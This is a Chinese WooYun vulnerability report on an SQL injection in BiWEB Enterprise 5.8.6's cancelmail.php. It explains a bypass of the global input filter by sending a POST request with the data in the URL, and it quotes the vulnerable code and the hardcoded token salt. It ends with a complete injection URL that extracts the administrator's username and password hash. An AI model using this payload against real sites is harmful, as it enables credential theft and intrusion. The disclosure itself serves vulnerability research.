当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085801

漏洞标题:BiWEB最新企业版绕过过滤注入一枚

相关厂商:BiWEB

漏洞作者: 路人甲

提交时间:2014-12-04 18:03

修复时间:2015-03-04 18:04

公开时间:2015-03-04 18:04

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

BiWEB最新企业版绕过过滤注入一枚

详细说明:

看到pandas提交的BiWEB的漏洞 WooYun: BIWEB企业版多处SQL注入 ,在search.php里找到了几个注入漏洞,我也来凑下热闹。去官网下BiWEB企业版最新的5.8.6来看看。
注入点在http://xxx.com/emaillist/cancelmail.php?u_mail=1&token=,其中u_mail=1存在注入漏洞
先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤filtrate.inc.php

<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>


这个过滤方法中,如果是POST方法就只对通过POST提交的用户数据进行过滤,GET方法同理。突然就想到一个方法,REQUEST_METHOD还是 POST,但是在url中带入用户数据(GET方法),然后程序中用$_GET数组来获取数据的话,那就可以获得通过url提交的数据,并且没有经过全局 过滤,这样就绕过了全局过滤。
在/emaillist/cancelmail.php中

无关代码
$objWebInit->arrGPage = $arrGPage;
$objWebInit->db();
if(!empty($_GET['u_mail']) && !empty($_GET['token'])){
if($_GET['token']==md5($_GET['u_mail'].$arrGWeb['jamstr'])){//数据匹配,则标识为退订邮件
$strWhere=" WHERE title='{$_GET['u_mail']}'";
$objWebInit->updateDataG('biweb_emaillist',array('pass'=>'7'),$strWhere);
echo "<script>alert('退订成功');window.close();</script>";exit;
}
}
无关代码


继续去看看updateDataG(),在/web_common5.8/php_common.php中

public function updateDataG($table,$arrData,$where=''){
try {
$strSQL = " UPDATE $table SET ";
foreach ($arrData as $k => $v) {
if(strpos($v,'fun(')!==false){
$v = str_ireplace('fun(','(',$v);
$strSQL .= $k."=" . $v . ",";
}else $strSQL .= $k."='" . $v . "',";
}
$strSQL = substr($strSQL, 0, -1);
$strSQL .= ' '.$where;
if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'<br><br>';
if($result = $this->db->exec($strSQL)){
if($this->arrGPdoDB['PDO_LOGS']) check::getAPI('logs','addLog',"2^$table^$where^$strSQL");
return $result;
}
} catch (PDOException $e) {
die('Failed: ' . $e->getMessage().'<br><br>');
}
}


可以看出,整个过程中没有其他的过滤,只要可以绕过全局过滤,就可以注入。
在/emaillist/cancelmail.php中,要满足$_GET['token']==md5($_GET['u_mail'].$arrGWeb['jamstr'])这个条件才可以执行SQL语句,这里的$arrGWeb['jamstr']是一个全局变量,值为’BIWEB88’,因此,这里只要把$_GET['u_mail']与BIWEB88连接并取其md5值赋予token提交即可。
如果按正常的情况使用GET提交,单引号被全局过滤编码,如下:

单引号被编码副本.jpg


把GET方法改为POST提交,成功引入单引号,如下:

单引号被引入副本.jpg


成功注入,管理员用户名及密码如下图中所示:

注入成功副本.jpg


payload如下(POST方法提交)

http://www.xxx.com/emaillist/cancelmail.php?u_mail=1'/**/or/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x23,(select/**
/concat(user_name,0x23,password,0x23)from/**/biweb_mcenter/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/
group/**/by/**/x)a)or/**/'&token=e68367f5f3a54b46938651c9afa04dcb


漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝